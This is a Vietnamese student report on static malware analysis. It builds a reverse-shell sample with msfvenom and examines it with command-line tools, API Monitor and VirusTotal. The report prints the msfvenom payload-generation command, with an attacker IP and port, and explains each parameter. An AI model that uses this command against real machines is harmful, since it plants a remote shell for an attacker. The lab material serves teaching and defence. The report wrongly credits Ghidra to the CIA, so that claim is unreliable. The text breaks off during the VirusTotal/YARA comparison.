**HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG**

-----🙞🙜🕮🙞🙜-----



**Môn: PHÂN TÍCH MÃ ĐỘC**

**Phát hiện mã độc dựa trên phân tích tĩnh**

**Giảng viên : Đỗ Xuân Chợ**

**Nhóm lớp : 02**

**Nhóm BTL : 8**

**Tên sinh viên: Ninh Chí Hướng - B20DCAT094**

**Vũ Ngọc Phương - B20DCAT142**

**Hoàng Trung Kiên - B20DCAT098**

**Nguyễn Trần Minh - B20DCAT126**

**HÀ NỘI, 2023**

**Mục lục**

[**I.Các khái niệm cơ bản.** 2](#_Toc150718114)

[1. Tổng quan về phân tích tĩnh. 2](#_Toc150718115)

[2. Vai trò của phân tích tĩnh. 2](#_Toc150718116)

[3. Một số công cụ phân tích tĩnh phổ biến. 3](#_Toc150718117)

[**II.Xây dựng môi trường.** 3](#_Toc150718118)

[1. Lựa chọn mẫu mã độc và công cụ sử dụng để phân tích. 3](#_Toc150718119)

[**III.Quá trình phân tích tĩnh.** 4](#_Toc150718120)

[1.Xác định loại của tệp. 4](#_Toc150718121)

[2.Xác định chữ ký tệp (File Signature). 4](#_Toc150718122)

[3.Phân tích mã hash. 5](#_Toc150718123)

[4.Phân tích strings. 6](#_Toc150718124)

[5.Tệp tin PE. 7](#_Toc150718125)

[**IV. Phân tích mã động tự động sử dụng Virus Total.** 11](#_Toc150718126)

[1.Định nghĩa. 11](#_Toc150718127)

[2.Các thành phần. 11](#_Toc150718128)

[3.Phương pháp phát hiện. 11](#_Toc150718129)

[4.Tổng quan về engines. 12](#_Toc150718130)

[5. Scraping data. 13](#_Toc150718131)

[**V. Các bước sử dụng VirusTotal để phân tích mã độc.** 13](#_Toc150718132)

[1.Quét chữ ký. 14](#_Toc150718133)

[2.Phân tích hành vi (Behavior). 15](#_Toc150718134)

[**VI. So sánh VirusTotal và YARA.** 17](#_Toc150718135)

[1. VirusTotal. 18](#_Toc150718136)

[2. YARA. 18](#_Toc150718137)

[3. Tích hợp công cụ YARA vào VirusTotal. 18](#_Toc150718138)

# **I.Các khái niệm cơ bản.**

## 1. Tổng quan về phân tích tĩnh.

-Phân tích tĩnh mã độc (Static Malware Analysis) là quá trình nghiên cứu và xem xét mã độc một cách tĩnh, tức là không chạy mã độc trên một hệ thống thực sự. Trong phân tích tĩnh, các nhà nghiên cứu sẽ kiểm tra tệp tin hoặc chương trình đích mà họ nghi ngờ chứa mã độc mà không thực sự chạy nó.

-Phân tích tĩnh mã độc thường bao gồm các hoạt động như:

* +Phân tích cấu trúc: Điều này bao gồm việc xem xét mã máy nguồn, mã bytecode hoặc các tệp tin thực thi khác để tìm hiểu về cấu trúc tổ chức của mã độc.
* +Phân tích chuỗi ký tự: Các nhà nghiên cứu sẽ tìm kiếm chuỗi ký tự độc hại, ví dụ như địa chỉ URL, tên tệp tin, hoặc chuỗi mã hóa có thể gợi ý về hoạt động độc hại.
* +Phân tích mã hóa: Mã độc thường mã hóa hoặc mã hóa các phần quan trọng của chính nó để tránh phát hiện. Phân tích tĩnh có thể giúp tìm hiểu cách mã độc này được mã hóa.
* +Phân tích luồng điều khiển: Xác định các điểm bắt đầu và điểm kết thúc của các chức năng hoặc hành vi độc hại trong mã độc.
* +Phân tích tương tác tệp tin: Xác định các tệp tin, thư mục, và tài nguyên hệ thống mà mã độc có thể tương tác hoặc thay đổi.

-Phân tích tĩnh mã độc có thể giúp nhận biết các đặc điểm và tính năng độc hại mà không cần chạy mã độc, giúp giảm nguy cơ nhiễm malware. Tuy nhiên, phân tích tĩnh cũng có hạn chế, vì nó không thể cung cấp thông tin về hành vi của mã độc khi thực sự chạy trên hệ thống. Do đó, nó thường được sử dụng cùng với phân tích động (Dynamic Malware Analysis) để có cái nhìn toàn diện về mã độc và hoạt động của nó.

## 2. Vai trò của phân tích tĩnh.

-Phân tích tĩnh đóng một vai trò quan trọng trong lĩnh vực bảo mật thông tin và phát triển phần mềm. Dưới đây là một số vai trò quan trọng của phân tích tĩnh:

* +Phát hiện mã độc và lỗ hổng bảo mật: Phân tích tĩnh giúp phát hiện các đoạn mã độc hại hoặc lỗ hổng bảo mật trong phần mềm mà không cần chạy nó. Điều này giúp các chuyên gia bảo mật tìm ra các vấn đề và điểm yếu trong mã nguồn trước khi chúng trở thành mối đe dọa nghiêm trọng.
* +Đánh giá rủi ro và tổng quan bảo mật: Phân tích tĩnh giúp xác định các điểm yếu và lỗ hổng trong mã nguồn, từ đó đánh giá rủi ro và tổng quan về bảo mật của một ứng dụng hoặc hệ thống. Điều này giúp tổ chức thực hiện các biện pháp bảo mật thích hợp để bảo vệ hệ thống của họ.
* +Hiểu cấu trúc và hoạt động của ứng dụng: Phân tích tĩnh giúp phát triển viên hiểu cấu trúc của ứng dụng và cách nó hoạt động. Điều này có thể giúp cải thiện sự hiểu biết về mã nguồn và phát triển ứng dụng an toàn hơn.
* +Kiểm tra tính đúng đắn và hiệu suất: Phân tích tĩnh có thể sử dụng để kiểm tra tính đúng đắn và hiệu suất của mã nguồn mà không cần thực hiện thử nghiệm trong môi trường thực tế. Điều này giúp xác định lỗi logic và tối ưu hóa mã nguồn trước khi triển khai.
* +Phân tích mã nguồn mở: Phân tích tĩnh thường được sử dụng để xem xét mã nguồn mở, đảm bảo tính bảo mật và đáng tin cậy của các dự án phần mềm mã nguồn mở trước khi sử dụng chúng trong các ứng dụng và dự án khác.
* +Phân tích mã độc và phần mềm gian lận: Phân tích tĩnh là công cụ quan trọng trong việc xác định mã độc và phần mềm gian lận, giúp phát hiện các dấu hiệu và cấu trúc độc hại trong mã nguồn mà không cần thực hiện thử nghiệm thực thi.

-Tóm lại, phân tích tĩnh là một phần quan trọng của quy trình bảo mật và phát triển phần mềm, giúp cải thiện tính bảo mật, độ tin cậy và hiệu suất của ứng dụng và hệ thống.

## 3. Một số công cụ phân tích tĩnh phổ biến.

-Dưới đây là một số công cụ phân tích tĩnh mã độc phổ biến mà các nhà nghiên cứu malware và chuyên gia bảo mật thường sử dụng để kiểm tra mã độc:

* +IDA Pro: IDA Pro là một công cụ phân tích mã nguồn rộng rãi và mạnh mẽ, cho phép bạn xem xét mã máy nguồn và thực hiện phân tích tĩnh chi tiết. Nó cung cấp nhiều plugin và tính năng mạnh mẽ giúp phân tích các loại mã độc phức tạp.
* +Radare2: Radare2 là một công cụ mã nguồn mở dành cho phân tích mã độc. Nó cung cấp các tính năng tương tự như IDA Pro và có sự hỗ trợ cho nhiều kiến trúc máy tính.
* +Ghidra: Ghidra cũng là một công cụ phân tích mã nguồn mở, được phát triển bởi Cơ quan Tình báo Trung ương Hoa Kỳ (CIA). Nó cho phép phân tích mã độc, xem xét biên dịch và giải mã, và cung cấp các tính năng mạnh mẽ.
* Binary Ninja: Binary Ninja là một công cụ phân tích mã độc với giao diện dễ sử dụng. Nó cho phép phân tích và chỉnh sửa mã máy nguồn một cách tĩnh và động.
* +PEiD: PEiD là một công cụ đặc biệt dành cho phân tích tệp tin thực thi Windows (chủ yếu là các tệp PE, Portable Executable). Nó giúp xác định loại packer và công cụ bảo vệ được sử dụng trong tệp PE.
* +Cuckoo Sandbox: Mặc dù chủ yếu là một nền tảng phân tích động, Cuckoo Sandbox cũng cung cấp một số tính năng phân tích tĩnh để xem xét nội dung tệp và chức năng trước khi chạy mã độc.
* +Online Malware Analysis Services: Có một số dịch vụ trực tuyến như VirusTotal và Hybrid Analysis cho phép bạn tải lên các tệp tin đáng ngờ để kiểm tra và phân tích tĩnh.


-Những công cụ này có thể hỗ trợ các chuyên gia bảo mật và nghiên cứu malware trong việc phát hiện, phân tích và hiểu về mã độc một cách chi tiết.

# **II.Xây dựng môi trường.**

## 1. Lựa chọn mẫu mã độc và công cụ sử dụng để phân tích.

-Trong bài báo cáo lớn này , nhóm bọn em sẽ sử dụng mã độc có tên là “setup.exe” được tạo từ công cụ “Msfvenom” được tích hợp sẵn trong hệ điều hành Kali linux.Sử dụng lệnh sau để tại mẫu mã độc:

+msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=192.168.10.136 LPORT=8080 -f exe -o setup.exe



=>Kết quả : file “setup.exe” được tạo thành công:

-Công cụ bọn em sử dụng để tiến hành phân tích tĩnh mẫu mã độc là:

+Các công cụ dòng lệnh được tích hợp sẵn trong hệ điều hành Kali Linux

+Api monitor

-Công cụ sử dụng để phân tích mẫu mã độc tự động:

+Yara

+Virustotal

# **III.Quá trình phân tích tĩnh.**

## 1.Xác định loại của tệp.

-Việc xác định loại tệp sẽ tiết lộ thông tin quan trọng như hệ điều hành điều hành mục tiêu.Sử dụng lệnh “file” để xác định loại của mẫu mã độc vừa tạo:

+file setup.exe



=>Kết quả : File “setup.exe” có các tính chất sau:

+định dạng mở rộng: “.exe”

+“executable” : nó là một dạng file thực thi

+Kiến trúc nền tảng: x86-64 : chạy trên nền tảng x32bit hoặc x64bit

+“for MS Windows” : file này được sử dụng để chạy trên hệ điều hành Windows

=>Kết luận : mẫu mã độc “setup.exe” là một dạng file thực thi và nhắm mục tiêu vào các hệ thống chạy hệ điều hành Windows có kiến trúc nền tảng x64bit.

## 2.Xác định chữ ký tệp (File Signature).

-Chữ ký tệp (File Signature): có thể được sử dụng để xác định loại tệp, thay cho phần mở rộng tệp. Chữ ký tệp là trình tự byte duy nhất được viết vào phần đầu tệp. Các tệp khác nhau có chữ ký khác nhau có thể được sử dụng để xác định loại tệp.


-Danh sách các chữ ký tệp nhóm bọn em sẽ tham khảo từ nguồn sau :

+<https://en.wikipedia.org/wiki/List_of_file_signatures>

+<https://en.wikipedia.org/wiki/Portable_Executable>

-Sử dụng công cụ “xxd” để kiểm tra File Signature của file “setup.exe” vừa tạo.Sử dụng lệnh:


+xxd setup.exe



=>Kết quả : 2 bytes đầu tiên của file này có hex và giá trị tương ứng là là “4d 5a” - “MZ”:

00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............

=>So sánh với “List\_of\_file\_signatures” tham khảo:



=>Kết luận:Như vậy dựa trên việc phân tích File Signature có thể kết luận rằng mẫu mã độc được tạo là thực thi có định dạng exe.

-Ngoài xác định được định dạng file dựa trên phân tích File Signature , nhóm bọn em có thể phát hiện ra được nền tảng của mẫu mã độc này:



=>Kết quả:

000000c0: 0000 0000 0000 0000 5045 0000 6486 0300 ........PE..d…

-Tiếp tục so sánh với “List\_of\_file\_signatures” thì nhóm em nhận ra rằng các file chứa trường “PE” sẽ có các tính chất sau:

+Định dạng Portable Executable ( PE ) là định dạng tệp dành cho các tệp thực thi , mã đối tượng , DLL và các định dạng khác được sử dụng trong phiên bản 32-bit và 64-bit của hệ điều hành Windows.


+Định dạng PE là cấu trúc dữ liệu đóng gói thông tin cần thiết cho trình tải hệ điều hành Windows để quản lý mã thực thi được gói .

=>Như vậy việc phân tích thêm “File Signature” cho ta biết được kiến trúc nền tảng của “setup.exe” là x32bit hoặc x64bit

## 3.Phân tích mã hash.

-Quá trình tạo các giá trị băm cho các tệp nghi ngờ dựa trên nội dung của chúng, cũng giống như tạo vân tay (Fingerprinting) cho mã độc. Các thuật toán băm thường được sử dụng như MD5, SHA1 hoặc SHA256. Sử dụng các giá trị băm cho phân tích mã độc mang lại các lợi thế sau: Định danh duy nhất cho mã độc trong quá trình phân tích. Xác định một mẫu malware dựa trên tên tệp là không hiệu quả vì cùng một mẫu malware có thể sử dụng các tên tệp khác nhau, nhưng giá trị băm mã học được tính dựa trên nội dung tệp sẽ giữ nguyên.

-Quyết định liệu phân tích cần được thực hiện trên một mẫu duy nhất hay nhiều mẫu. Trong quá trình phân tích động, khi malware được thực thi, nó có thể sao chép chính nó đến một vị trí khác hoặc tạo ra một mẫu malware khác. Có giá trị băm mã học của mẫu sẽ giúp xác định xem mẫu mới được sao chép/hành động có giống với mẫu gốc hay không. Được sử dụng để chia sẻ cho các nhà nghiên cứu bảo mật khác khi cần xác định mẫu. Xác định nhanh xem mã độc đã được phát hiện trước đó bằng cách tìm kiếm trực tuyến hoặc tìm kiếm trong cơ sở dữ liệu của các dịch vụ quét mã độc như VirusTotal.



-Trước tiên nhóm em sẽ sử dụng công cụ “sha256sum” để tính toán mã băm SHA256 của file “setup.exe”.Sử dụng câu lệnh:

+sha256sum setup.exe

Không có mô tả.


=>Kết quả : giá trị SHA256 của mẫu mã độc là “b5d02d5b6654c55b2d6926e4a482199043de90cb408a52e4236dd6fe84bdb6d8”

## 4.Phân tích strings.

-Strings là các chuỗi ký tự ASCII và Unicode có thể hiển thị (Unicode-printable), chúng được nhúng trong một tệp. Phân tích chuỗi có thể cung cấp gợi ý về chức năng của chương trình và các chỉ số liên quan đến một tệp nhị phân (binary file) đáng nghi. Các chuỗi được trích xuất từ tệp nhị phân có chứa các tham chiếu đến tên tệp, URL, tên miền, địa chỉ IP, lệnh tấn công, registry,... thì khả năng cao là có dính mã độc.

-Trong phần này ta sẽ sử dụng công cụ “strings” để tìm kiếm các chuỗi đọc được trong file “setup.exe” bằng lệnh sau:

+strings -a setup.exe



=>Dựa trên kết quả này bước đầu ta có thể xác định được một số hàm và thư viện của hệ điều hành Windows được sử dụng trong quá trình chạy “setup.exe” đặc biệt là các hàm sau:

+VirtualAlloc : Đây là một hàm trong Windows API, nó được sử dụng để cấp phát một phần bộ nhớ ảo trong quá trình thực hiện.

+KERNEL32.dll : KERNEL32.dll là một thư viện động (DLL) quan trọng trong hệ điều hành Windows. Thư viện này cung cấp các hàm và chức năng quan trọng để quản lý và điều hành các quy trình (processes) và tác vụ (threads) trong hệ điều hành Windows.

+ws2\_32: Đây là tên của thư viện Winsock 2.0, được sử dụng trong Windows để thực hiện giao tiếp mạng.

-Theo như kết quả của việc phân tích chuỗi , file “setup.exe” có một số dấu hiệu như sau:

+chứa rất ít chuỗi.

+chứa rất ít hàm LoadLibrary (để gọi file .dll) và GetProcAddress (lấy địa chỉ của một hàm trong một thư viện chia sẻ) được sử dụng để tải và truy cập các hàm bổ sung. Ngoài ra 1 số hàm khác: LdrGetProcAddress, LdrLoadDll.


=>Kết luận: file “setup.exe” đã được packed hay obfuscated.

## 5.Tệp tin PE.


-Mã độc khi hoạt động cần phải tương tác với các tệp, registry, mạng và các thành phần khác. Do vậy, mã độc cần sử dụng các hàm của hệ điều hành, vd trên Windows là Application Programming Interfaces (API) và được cung cấp trong các tệp Dynamic Link Library (DLL).

-Kiểm tra các imports có thể: cung cấp một thông tin về chức năng và khả năng của mã độc và giúp dự đoán những hoạt động của nó trong quá trình thực thi. Xác định xem mã độc có được che giấu hay không?


-Trong bước nhóm em sẽ sử dụng công cụ “API Monitor” để kiểm tra các imports được sử dụng trong file “setup.exe” này.Khởi động công cụ “API Monitor” , tạo cột trên cùng phía bên trái sẽ là nơi ta chỉ định các API để giám sát , vì muốn kết quả được đầy đủ nhất , ta sẽ chọn hết tất cả các API:



sau đó tại cửa sổ bên cạnh , ta sẽ attach file “setup.exe” vào công cụ để tiến hành giám sát:




=>Sau khi hoàn thành các bước trên , ta sẽ thấy được các hàm , thư viện được sử dụng bởi tiến trình này:




-Dựa theo các thư viện được liệt kê ta có thể thấy được tiến trình đang sử dụng một số thư viện kiểm soát tiến trình , mạng và thư viện chứa các hàm hệ thống như sau:


+KERNEL32.DLL




+USER32.DLL




+WS2\_32.DLL



+GDI32.DLL



+SHELL32.DLL



# **IV. Phân tích mã động tự động sử dụng Virus Total.**

## 1.Định nghĩa.

-VirusTotal là một dịch vụ trực tuyến cung cấp khả năng quét và phân tích các tệp và URL để phát hiện các mối đe dọa bảo mật, như phần mềm độc hại và các loại virus khác. Dịch vụ này cho phép người dùng tải lên các tệp hoặc cung cấp URL để VirusTotal kiểm tra chúng bằng nhiều công cụ phân tích khác nhau từ các nhà cung cấp bảo mật khác nhau.

-Khi bạn tải lên một tệp hoặc cung cấp một URL, VirusTotal sẽ quét nó thông qua nhiều chương trình chống vi-rút, ứng dụng phát hiện độc hại, và công cụ phân tích khác để xác định liệu tệp hoặc URL đó có chứa mối đe dọa hay không. Sau đó, nó cung cấp cho bạn một bản báo cáo về kết quả quét, cho biết số lượng công cụ phát hiện mối đe dọa, tỷ lệ phát hiện, và thông tin chi tiết về mối đe dọa cụ thể (nếu có).

-VirusTotal là một công cụ hữu ích cho người dùng cá nhân, doanh nghiệp và các chuyên gia bảo mật để kiểm tra tính an toàn của các tệp và URL trước khi tải xuống hoặc truy cập chúng. Nó giúp ngăn chặn sự lây lan của phần mềm độc hại và cung cấp thông tin quan trọng về bảo mật để bảo vệ hệ thống và dữ liệu của bạn.

## 2.Các thành phần.

-VirusTotal là một dịch vụ phân tích bảo mật trực tuyến mạnh mẽ, được xây dựng từ nhiều thành phần cơ bản để cung cấp khả năng quét và phân tích các tệp và URL để phát hiện các mối đe dọa bảo mật. Dưới đây là các thành phần chính của VirusTotal:

* +Giao diện web: VirusTotal cung cấp một giao diện web trực quan và dễ sử dụng cho người dùng truy cập. Giao diện này cho phép người dùng tải lên tệp hoặc nhập URL để kiểm tra.
* +Hệ thống quét đa công cụ: VirusTotal tích hợp nhiều công cụ quét từ các nhà cung cấp bảo mật khác nhau. Điều này cho phép VirusTotal quét tệp hoặc URL của bạn bằng cách sử dụng nhiều công cụ khác nhau đồng thời, tăng khả năng phát hiện mối đe dọa.
* +Cơ sở dữ liệu kết quả: VirusTotal duy trì một cơ sở dữ liệu các kết quả quét trước đó để người dùng có thể tra cứu thông tin về các tệp hoặc URL đã được kiểm tra trước đây.
* +Báo cáo kết quả: Sau khi quá trình quét hoàn thành, VirusTotal cung cấp báo cáo chi tiết về kết quả, bao gồm số lượng công cụ phát hiện mối đe dọa, tỷ lệ phát hiện, và thông tin chi tiết về mối đe dọa cụ thể nếu có.
* +API (Application Programming Interface): VirusTotal cung cấp một API mạnh mẽ cho phép các ứng dụng và dịch vụ bên ngoài tích hợp các chức năng của VirusTotal vào ứng dụng của họ. Điều này cho phép tự động hóa việc kiểm tra và phân tích tệp hoặc URL từ các ứng dụng và dịch vụ khác nhau.


-Tổng cộng, VirusTotal cung cấp một cách tiếp cận toàn diện để kiểm tra tính an toàn của các tệp và URL bằng cách sử dụng nhiều công cụ quét bảo mật khác nhau để đảm bảo tính khả thi và độ chính xác của kết quả quét.

## 3.Phương pháp phát hiện.

-VirusTotal sử dụng nhiều phương pháp khác nhau để phát hiện mã độc và mối đe dọa bảo mật trong các tệp và URL. Các phương pháp này bao gồm:

* +Quét chữ ký: VirusTotal sử dụng cơ sở dữ liệu chữ ký bảo mật để so sánh tệp với các mẫu đã biết của phần mềm độc hại. Nếu tệp trùng khớp với một chữ ký đã biết, nó sẽ được đánh dấu là có mối đe dọa.
* +Behavior : VirusTotal sử dụng các kỹ thuật phân tích sư phạm để xem xét các hành vi không bình thường hoặc đáng ngờ trong tệp. Điều này có thể bao gồm việc kiểm tra các hoạt động như thay đổi registry, tạo các tệp tạm thời, hoặc gọi các hàm hệ thống quan trọng. Nếu tệp hiện ra có dấu hiệu của hành vi độc hại, nó sẽ được đánh dấu là có mối đe dọa.
* +Machine Learning : VirusTotal sử dụng các mô hình học máy để phân tích các đặc điểm của tệp và xác định liệu chúng có thể là mã độc hay không. Mô hình học máy này dựa trên dữ liệu lớn được thu thập từ các mẫu phần mềm độc hại trước đó và từ các tệp an toàn.
* +Quét đám mây : VirusTotal có thể liên kết với các dịch vụ lưu trữ đám mây để quét các tệp được tải lên từ các dịch vụ này. Điều này giúp phát hiện mối đe dọa từ các tệp trong môi trường đám mây, chẳng hạn như email hoặc lưu trữ tệp.
* +Phân tích động : VirusTotal có thể chạy các tệp trong môi trường cách ly để xem họ hoạt động như thế nào và xem xét các hoạt động độc hại. Điều này giúp phát hiện các mối đe dọa dựa trên hành vi của tệp thay vì chỉ dựa trên các chữ ký đã biết.

-Kết hợp các phương pháp này giúp VirusTotal có khả năng phát hiện mối đe dọa bảo mật đa dạng và làm tăng độ chính xác trong việc xác định tính an toàn của các tệp và URL.



## 4.Tổng quan về engines.

-VirusTotal sử dụng nhiều "engines" hoặc công cụ quét từ các nhà cung cấp bảo mật khác nhau để phân tích tệp và URL để xác định liệu chúng có chứa mã độc hay không. Mỗi công cụ này có cơ sở dữ liệu chữ ký riêng và các phương pháp phát hiện độc lập. Dưới đây là một số engines quan trọng và phổ biến trên VirusTotal:


* +Avast: Avast là một công ty chuyên cung cấp phần mềm diệt virus và bảo mật trực tuyến. Engine của Avast được tích hợp vào VirusTotal để kiểm tra tệp và URL.
* +Kaspersky: Kaspersky Lab là một nhà cung cấp bảo mật nổi tiếng, và công cụ quét của họ được sử dụng để phát hiện mã độc trên VirusTotal.
* +McAfee: McAfee là một công ty bảo mật và công nghệ thông tin có engine quét tích hợp vào VirusTotal.
* +Symantec (Norton): Norton của Symantec cũng có engine quét tích hợp vào VirusTotal để xác định các mối đe dọa.
* +Bitdefender: Bitdefender là một nhà cung cấp phần mềm bảo mật nổi tiếng, và engine của họ giúp VirusTotal phát hiện các mối đe dọa.
* +ESET: ESET là một công ty bảo mật chuyên nghiệp, và engine của họ tham gia vào quá trình quét của VirusTotal.
* +Sophos: Sophos cung cấp giải pháp bảo mật cho doanh nghiệp và cá nhân, và engine của họ được tích hợp vào VirusTotal.
* +TrendMicro: TrendMicro cung cấp các giải pháp bảo mật nâng cao, và engine của họ giúp phát hiện các mối đe dọa trên VirusTotal.

-Ngoài những engine từ các nhà cung cấp bảo mật hàng đầu, VirusTotal cũng tích hợp nhiều công cụ và engine phát hiện mã độc khác nhau để tạo ra một cơ sở dữ liệu mạnh mẽ cho việc phân tích bảo mật. Việc sử dụng nhiều engine khác nhau giúp tăng cường tính khả thi và độ chính xác của quá trình phát hiện mối đe dọa.

## 5. Scraping data.

-"Cào dữ liệu" (còn gọi là "scraping") trong VirusTotal có thể ám chỉ một số hành động khác nhau liên quan đến việc thu thập dữ liệu từ dịch vụ này. Tuy nhiên, nên lưu ý rằng VirusTotal có các hạn chế về việc cào dữ liệu để đảm bảo tính riêng tư và an ninh của thông tin trên nền tảng này.


-Dưới đây là một số hoạt động liên quan đến việc "cào dữ liệu" trong VirusTotal:

* +Thu thập kết quả quét: Một hoạt động phổ biến là tự động thu thập kết quả quét từ VirusTotal thông qua API. Điều này có thể được sử dụng để kiểm tra tính an toàn của một danh sách lớn các tệp hoặc URL hoặc để theo dõi thay đổi trong thời gian thực.
* +Thu thập thông tin về tệp và URL: Dữ liệu như thông tin hash, kết quả quét trước đó, thông tin về tệp và URL, và các dữ liệu liên quan khác có thể được cào từ VirusTotal để nghiên cứu bảo mật hoặc theo dõi sự thay đổi.
* +Thống kê và phân tích: Dữ liệu từ VirusTotal có thể được thu thập để phân tích xu hướng và mô hình bảo mật, giúp cải thiện hiểu biết về các mối đe dọa bảo mật.
* 


-Tuy nhiên, cần lưu ý rằng VirusTotal có các chính sách về việc sử dụng API và giới hạn về tần suất và khối lượng truy cập dữ liệu. Việc sử dụng cào dữ liệu từ VirusTotal cần tuân thủ các hạn chế này và tuân theo các quy tắc và điều khoản của dịch vụ để đảm bảo tính hợp pháp và đạo đức.

# **V. Các bước sử dụng VirusTotal để phân tích mã độc.**

-Để sử dụng tính năng phân tích mã động tự động của Virustotal , điều hướng tới URL sau “<https://www.virustotal.com/gui/home/upload>” và upload mẫu mã độc của ta lên:



=>Kết quả: công cụ Virustotal sẽ tiến hành phân tích mẫu mã độc mà ta đã upload lên:



## 1.Quét chữ ký.

-Quá trình kiểm tra chữ ký mã độc trên VirusTotal diễn ra theo các bước sau:

* +Gửi tệp hoặc URL: Người dùng truy cập trang web VirusTotal (<https://www.virustotal.com/>) và tải lên tệp cần kiểm tra hoặc nhập URL của tệp cần kiểm tra. VirusTotal hỗ trợ kiểm tra tệp cục bộ hoặc kiểm tra tệp trực tuyến thông qua URL.
* +Tải lên tệp: Tệp hoặc URL sẽ được tải lên VirusTotal từ máy tính của người dùng hoặc từ địa chỉ URL được cung cấp.
* +Phân tích: Sau khi tệp hoặc URL đã được tải lên, VirusTotal sẽ tiến hành phân tích bằng nhiều công cụ và trình quét khác nhau. Công cụ này sẽ quét tệp để tìm các dấu hiệu của mã độc, virus, malware, hoặc bất kỳ phần mềm độc hại nào.
* +So sánh với cơ sở dữ liệu: VirusTotal sẽ so sánh kết quả của quét với cơ sở dữ liệu của nhiều công ty an ninh và nhà cung cấp phần mềm diệt virus khác nhau. Cơ sở dữ liệu này chứa thông tin về chữ ký mã độc từ hàng trăm nghìn phần mềm diệt virus.
* +Kết quả: Sau khi quá trình phân tích và so sánh hoàn tất, VirusTotal sẽ hiển thị kết quả kiểm tra. Kết quả này sẽ cho biết liệu tệp hoặc URL có chứa mã độc hay không. Nếu có, VirusTotal sẽ cung cấp thông tin chi tiết về các chữ ký và những công cụ phát hiện mã độc nào đã phát hiện.
* +Thống kê: VirusTotal cung cấp các thống kê về kết quả kiểm tra, bao gồm tỷ lệ phần mềm diệt virus phát hiện và không phát hiện mã độc. Người dùng có thể xem thông tin chi tiết về kết quả để hiểu hơn về tệp hoặc URL kiểm tra.


-Trong trường hợp cụ thể này , chữ ký của file “setup.exe” sẽ được tự động tính toán theo các thuật toán hash theo thẻ “DETAILS” trên giao diện web:

Sau đó công cụ này sẽ tự động tìm kiếm chuỗi hash SHA-256 từ mẫu mã độc và tìm kiếm trong cơ sở dữ liệu , nếu chuỗi hash này trùng với chuỗi hash nào có trong cơ sở dữ liệu thì sẽ xác định file được upload lên đó là mã độc mà thông báo lại với người dùng.So sánh lại với chuỗi hash được tính toán trước đó:



như vậy hai phần hash của ta tự tính toán trùng với phần hash của virustotal tính toán.

=>Kết quả:




## 2.Phân tích hành vi (Behavior).

-Quá trình phân tích hành vi trên VirusTotal diễn ra bằng cách sử dụng các công cụ đánh giá hành vi của tệp hoặc ứng dụng. Dưới đây là cách VirusTotal thực hiện quá trình này:

* +Gửi tệp hoặc URL: Người dùng tải lên tệp hoặc cung cấp URL của tệp cần kiểm tra, tương tự như trong quá trình kiểm tra chữ ký mã độc.
* +Phân tích tĩnh: Sau khi tệp hoặc URL được tải lên, VirusTotal sẽ thực hiện phân tích tĩnh. Điều này bao gồm việc kiểm tra các thuộc tính của tệp, như mã nguồn, phân đoạn, tệp thực thi, cấu trúc tệp, và các tệp liên quan khác. VirusTotal sử dụng các công cụ để phát hiện các dấu hiệu và hành vi không bình thường trong tệp.
* +Phân tích động: Ngoài phân tích tĩnh, VirusTotal còn thực hiện phân tích động bằng cách chạy tệp hoặc ứng dụng trong một môi trường cách ly. Trong quá trình này, VirusTotal theo dõi các hoạt động của tệp hoặc ứng dụng, bao gồm giao tiếp mạng, tạo và sửa đổi tệp, giao tiếp với hệ thống và nhiều hoạt động khác. VirusTotal sử dụng các công cụ giám sát hành vi để theo dõi các hoạt động này.
* +Xác định hành vi đáng ngờ: VirusTotal so sánh kết quả của phân tích tĩnh và động với các mẫu hành vi đã biết đến và xác định xem có hành vi đáng ngờ nào không. Nếu có, nó sẽ ghi lại các thông tin về hành vi đó.
* +Kết quả và báo cáo: VirusTotal cung cấp kết quả phân tích hành vi dưới dạng báo cáo. Báo cáo này có thể chứa thông tin về các hành vi đáng ngờ, tương tác mạng, các tệp hoặc thư mục được tạo ra hoặc chỉnh sửa bởi ứng dụng, và nhiều thông tin khác. Người dùng có thể xem báo cáo để đánh giá tính an toàn của tệp hoặc ứng dụng.

-Quay lại quá trình tạo mã độc:



giải thích các tham số:  
 +LHOST=192.168.10.136 : là tham số chỉ định IP của máy lắng nghe (hoặc máy tấn công)

+LPORT= 8080 : là tham số chỉ định PORT của máy lắng nghe (hoặc máy tấn công)


+windows/shell\_reverse\_tcp : payload sử dụng cho mã độc này , ở đây là payload sử dụng để nhắm vào hệ điều hành windows và ở dạng reverse-shell dựa trên giao thức tcp

+-f exe : chỉ định định dạng của file mã độc


+- o setup.exe : chỉ định đầu ra

=>Theo cách giải thích đó thì cơ bản ta sẽ tạo một file thực thi có tác dụng là thực hiện một reverse-shell khiến máy nạn nhân sẽ tự động kết nối tới port lắng nghe của máy tấn công khi thực thi file này , tại máy tấn công ta sẽ có một phiên CMD trên máy nạn nhân.

-Dựa trên giải thích trên , khi thực thi file “setup.exe” , hệ thống sẽ phải kết nối tới IP của kẻ tấn công , Virustotal cũng sẽ phân tích hành vi này của mã độc dựa trên phân tích hành vi bằng cách chạy tệp này trong một môi trường cách ly và sau đó sẽ ghi lại lưu lượng mạng và từ đó phát hiện ra IP của kẻ tấn công.Kết quả của quá trình phân tích này sẽ được ghi lại trong 2 tab “RELATIONS” :





và “BEHAVIOR”:




=>Kết quả : xác định được IP của máy tấn công 192.168.10.136

-Ngoài việc kiểm tra lưu lượng mạng khi chạy file “setup.exe” , công cụ này cũng sẽ ghi lại các thư viện mà tiến trình này sử dụng khi chạy , trong đó bao gồm các thư viện mà ta đã xác định dựa trên phân tích tĩnh trước đó:





đồng thời cũng xác định các tiến trình mới được tạo ra trong quá trình chạy “setup.exe”:



# **VI. So sánh VirusTotal và YARA.**

VirusTotal và Yara là hai công cụ bảo mật khác nhau được sử dụng để phát hiện và phân tích mã độc. VirusTotal là một dịch vụ trực tuyến cung cấp khả năng quét các tệp và URL thông qua một loạt các công cụ chống vi-rút và công cụ phân tích mã độc. Yara là một ngôn ngữ mô hình hóa tập hợp quy tắc được sử dụng để phát hiện các mẫu trong mã.

## 1. VirusTotal.

VirusTotal cung cấp một số ưu điểm, bao gồm:

+ Tính khả dụng: VirusTotal là một dịch vụ trực tuyến có thể được truy cập từ bất kỳ đâu. Yara là một công cụ phần mềm phải được cài đặt trên máy tính của bạn.

